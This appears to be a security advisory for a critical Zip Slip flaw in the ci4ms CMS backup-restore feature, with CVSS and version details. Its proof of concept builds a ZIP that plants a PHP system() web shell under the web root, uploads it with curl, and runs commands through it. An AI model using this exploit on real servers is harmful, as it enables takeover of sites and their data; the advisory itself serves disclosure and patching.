CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE

Description

Summary

ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to WRITEPATH . 'uploads/', and if the extension is zip, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:

public function restore()
{
    $valData = ([
        'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('backup_file');

    if ($file && $file->isValid() && ! $file->hasMoved()) {
        $newName    = $file->getRandomName();
        $uploadPath = WRITEPATH . 'uploads/';
        ...
        $filePath = WRITEPATH . 'uploads/' . $newName;
        $sqlPath  = $filePath;
        if ($ext === 'zip') {
            $zip = new \ZipArchive();
            if ($zip->open($filePath) === true) {
                $zip->extractTo($uploadPath);          // no entry-name validation
                $sqlPath = $uploadPath . $zip->getNameIndex(0);
                $zip->close();
                @unlink($filePath);
            }
        }
        ...
    }
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/uploads/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Backup/Config/Routes.php binds POST backend/backup/restore to Backup::restore with role=create, and modules/Backup/Config/BackupConfig.php adds backend/backup and backend/backup/* to csrfExcept, so the route accepts cross-site POSTs from an authenticated administrator's browser.

PoC

Build the archive:

python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('dump.sql', 'SELECT 1;')
"

Submit it as a backup to restore:

curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F '[email protected]' \
  https://target.example.com/backend/backup/restore

Trigger the shell:

curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.

Basic information

Type
reviewed
Severity
critical
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-04-22 17:28:39 UTC
Updated
2026-05-08 19:55:34 UTC
GitHub reviewed
2026-04-22 17:28:39 UTC
NVD published
2026-05-07

EPSS Score

Score Percentile
0.42% 61.73%

CVSS Scores

Base score Version Severity Vector
9.4 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:L)
Exploitation conditions are straightforward and stable.
Attack requirements (AT:N)
No additional preconditions are required beyond normal reachability.
Privileges required (PR:L)
Low privileges are required.
User interaction (UI:N)
No user interaction is required.
Vulnerable system confidentiality impact (VC:H)
High confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:H)
High integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:H)
High availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:H)
High confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:H)
High integrity impact on subsequent systems.
Subsequent system availability impact (SA:H)
High availability impact on subsequent systems.

Identifiers

CWEs

CWE id Name
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Credits

  • fg0x0 (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
composer ci4-cms-erp/ci4ms < 0.31.5.0 0.31.5.0

References

cvelogic Threat Intelligence